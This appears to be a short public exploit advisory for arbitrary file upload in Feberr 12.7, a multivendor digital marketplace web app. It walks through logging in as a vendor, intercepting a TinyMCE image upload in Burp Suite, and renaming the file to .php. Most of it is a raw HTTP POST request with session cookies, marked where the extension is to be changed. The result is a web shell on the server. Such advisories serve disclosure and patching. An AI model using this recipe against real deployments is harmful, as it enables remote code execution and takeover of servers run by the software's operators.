Feberr 12.7 Shell Upload

`# Exploit Title: Feberr - Multivendor Digital Products Marketplace arbitrary file upload  
# Version 12.7  
# Google Dork: N/A  
# Date: 24/01/2022  
# Exploit Author: Sohel Yousef - [email protected]  
# Software Link: https://www.codester.com/items/14224/feberr-multivendor-digital-products-marketplace  
# Software link 2 :https://www.codecanor.com/product/feberr-multivendor-digital-products-marketplace/  
# Software Demo : https://overtasks.com/demo/feberr  
# Category: webapps  
  
Feberr - Multivendor Digital Products Marketplace contain arbitrary file upload  
registered vendor can upload .php files in edit-item section using tinymce with use of intercept tool in burbsuite to edit the raw  
  
details   
  
after register as vendor on the system go and edit or add an item in the section of detailes there tinymce  
direct link :  
https://localhost/feberr/edit-item/  
  
  
  
POST /demo/feberr/upload HTTP/1.1  
Host: localhost   
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0  
Accept: */*  
Accept-Language: ar,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------429310566417994448462725662126  
Content-Length: 179156  
Origin: https://overtasks.com  
Connection: close  
Referer: https://localhost /demo/feberr/edit-item/PFRLZAmzwdWFNWnlgxUaxbLIO  
Cookie: XSRF-TOKEN=eyJpdiI6InNxSGJaQjZ0UDYzamhnT2lXL09FWmc9PSIsInZhbHVlIjoiOEZCSVBnL3orczdpc2p4RE40ZmhlWCtKck1UNURET2EwWTdyeEtDVUR0Q1pMa2RLSXphSjNTbWJnRVlNS3Jld1U2d1lucWRNMDg1RVUybWdXTlMzMDAzUHcrdjNiM0IyWXRDbk01dzJJZU0zK3ZOWFlVM2JkTFRTZzdMMGhmN1UiLCJtYWMiOiIzYzU2ZTFkNThjZGQ5ZTI0ZWNiNzUzNWEyM2E4ZTk0OTZlZWYzMDc2NDAxOWU5NjZhNjkzNzQ5ZTIzMTA2NGRjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNKa1RRUHgvVStWYy85MkNuVFI2RlE9PSIsInZhbHVlIjoiUk8vMWMrS0NNLzczUWdSdFBnck1sSmdzVUhkckdQYUtORlczSGFDNWRJN1MvbGx0VGFNUkVCTS9jb1I3L25PbkdBc29hODltMXVTTVlxQVlIQ1FSaWtmVWwzWkNYVUlOQUk2Q04zbmwxdzRSQXdiRTF4WVhTTy9IaWp0V2dwM0UiLCJtYWMiOiIzMDY1ODI4ODkwZTczNjJkNjZhYmE3YjJiZWFiNzA0ODNhNTdmY2RkYjFhMmFlODQ3MTg1OTAyMDFiNWM1NjMwIiwidGFnIjoiIn0%3D  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
-----------------------------429310566417994448462725662126  
Content-Disposition: form-data; name="file"; filename="blobid1643057738041.jpg" >>>>>>>>>>>>>>> CHANGE THIS TO .php  
Content-Type: image/jpeg  
  
  
you will have the direct link to your uploaded file using tinymce editor   
  
  
  
  
  
  
`